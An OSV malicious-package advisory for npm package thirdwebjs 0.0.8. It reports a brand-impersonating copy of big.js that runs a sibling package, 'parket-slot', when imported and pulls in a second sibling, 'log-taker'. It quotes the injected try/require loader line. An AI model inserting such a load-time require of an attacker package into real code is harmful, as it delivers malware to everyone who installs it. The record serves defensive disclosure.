{"id":"MAL-2026-6344","summary":"Malicious code in thirdwebjs (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3)\nPackage name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require(\"parket-slot\"); doc.from_str().then(e =\u003e {}).catch(e =\u003e {}) } catch (error) {} ` — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares `\"log-taker\": \"^0.0.9\"` as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.\n","modified":"2026-06-23T21:01:22.076749581Z","published":"2026-06-23T20:01:23Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["0.0.8"],"id":"IN-MAL-2026-007353","import_time":"2026-06-23T20:48:30.445221939Z","modified_time":"2026-06-23T20:01:23Z","sha256":"c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/thirdwebjs/v/0.0.8"}],"affected":[{"package":{"name":"thirdwebjs","ecosystem":"npm","purl":"pkg:npm/thirdwebjs"},"versions":["0.0.8"],"database_specific":{"indicators":{"package_integrity":[{"hashes":{"sha1":"27e3a665ca7ce75db69f329f0527c9a2f866cb68","sha512_sri":"sha512-XEu8W9rcYbSGxgQUzi+nYmYKNSNMqmez8P29HmQamHoOPlghPV01ii0OULdxWNzJBssAz6r2gkwAtZT4ABAVUw=="},"filename":"thirdwebjs-0.0.8.tgz"}],"evidence_files":[{"path":"big.js","sha256":"5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace","tlsh":"24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"},{"path":"big.mjs","sha256":"cc4f38d2c43eae53227a80cb79358fe6373f067d82d5b4b9e1cc135a0fbfbcc3","tlsh":"50c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thirdwebjs/MAL-2026-6344.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}]}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}